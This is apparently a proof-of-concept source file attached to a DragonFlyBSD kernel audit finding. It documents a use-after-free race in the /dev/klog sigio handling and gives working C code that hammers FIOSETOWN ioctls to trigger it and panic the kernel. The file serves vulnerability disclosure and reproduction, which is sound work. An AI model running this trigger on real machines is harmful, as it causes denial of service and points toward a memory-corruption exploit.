DragonFlyBSD Kernel Audit
DF-2953 / klog_sigio_race.c
← back to finding ↓ download raw
/*
 * DF-2953 PoC -- /dev/klog logtimeout() sigio use-after-free read race.
 *
 * BUG (sys/kern/subr_log.c:247-248):
 *   logtimeout() [softclock thread] does:
 *       if ((logsoftc.sc_state & LOG_ASYNC) && logsoftc.sc_sigio != NULL)
 *               pgsigio(logsoftc.sc_sigio, SIGIO, 0);
 *   The `struct sigio *' is loaded WITHOUT sigio_token and without taking a
 *   reference.  Concurrently, FIOSETOWN / TIOCSPGRP on the klog fd
 *   (sys/kern/subr_log.c:292-301) -> fsetown() (sys/kern/kern_descrip.c:1296)
 *   frees the old sigio under sigio_token (funsetown(): sio_pgrp=NULL,
 *   sio_ucred=NULL, kfree(M_SIGIO)).
 *
 *   pgsigio() (sys/kern/kern_sig.c:2639) then dereferences the freed chunk:
 *     - sio_pgid < 0 path:  pg = sigio->sio_pgrp == NULL -> pgref(NULL)
 *     - CANSIGIO (kern_sig.c:99): (sigio->sio_ucred)->cr_uid on NULL ucred
 *   ==> page-fault panic in the softclock thread (DoS), or garbage derefs
 *       if the chunk is recycled (info corruption / worse).
 *
 * All other accessors of sc_sigio (fsetown/funsetown/fgetown) hold
 * sigio_token; logtimeout is the only unlocked reader.  (FreeBSD fixed this
 * class by passing `struct sigio **' to pgsigio and locking inside.)
 *
 * REQUIREMENTS: root (open /dev/klog, mode 0600); syslogd must not hold the
 * device (run.sh stops it); kern.log_wakeups_per_second > 0.
 *
 * EXPECTED RESULT: kernel panic (Fatal trap 12: page fault, NULL/small
 * address) from softclock within seconds-to-minutes of hammering.
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/filio.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

#define	NMEMBERS	16	/* widen pgsigio()'s member loop		*/
#define	NHAMMER		3	/* ioctl hammer processes (CPU spread)	*/

static int	fd;
static int	neg;
static int	zero = 0;
static int	one = 1;

static void
hammer(void)
{
	for (;;) {
		/*
		 * Install pgrp-owned sigio (long pgsigio path), then free it
		 * (fsetown(0) -> funsetown -> kfree).
		 */
		ioctl(fd, FIOSETOWN, &neg);
		ioctl(fd, FIOSETOWN, &zero);
	}
	/* NOTREACHED */
}

int
main(void)
{
	pid_t pg;
	int i;

	signal(SIGIO, SIG_IGN);

	fd = open("/dev/klog", O_RDWR);
	if (fd < 0) {
		perror("open /dev/klog (stop syslogd first)");
		exit(1);
	}
	if (ioctl(fd, FIOASYNC, &one) < 0) {
		perror("FIOASYNC");
		exit(1);
	}

	/* Own process group; members widen pgsigio()'s loop window. */
	setpgid(0, 0);
	pg = getpgrp();
	neg = -(int)pg;

	for (i = 0; i < NMEMBERS; i++) {
		if (fork() == 0) {
			signal(SIGIO, SIG_IGN);
			for (;;)
				pause();
			_exit(0);
		}
	}

	/* Noise: console writes set msgbuftrigger=1 (subr_prf log_console). */
	if (fork() == 0) {
		int cfd;

		signal(SIGIO, SIG_IGN);
		cfd = open("/dev/console", O_WRONLY);
		if (cfd < 0)
			cfd = open("/dev/null", O_WRONLY);
		for (;;)
			write(cfd, "DF2953\n", 7);
		_exit(0);
	}

	/* pg_lock contention: stretches pgsigio()'s lockmgr window. */
	if (fork() == 0) {
		signal(SIGIO, SIG_IGN);
		for (;;)
			kill(-pg, 0);
		_exit(0);
	}

	fprintf(stderr, "klog_sigio_race: pid %ld pgrp %d, hammering FIOSETOWN\n",
	    (long)getpid(), pg);
	fflush(stderr);

	for (i = 0; i < NHAMMER; i++) {
		if (fork() == 0) {
			signal(SIGIO, SIG_IGN);
			hammer();
		}
	}
	hammer();
	/* NOTREACHED */
}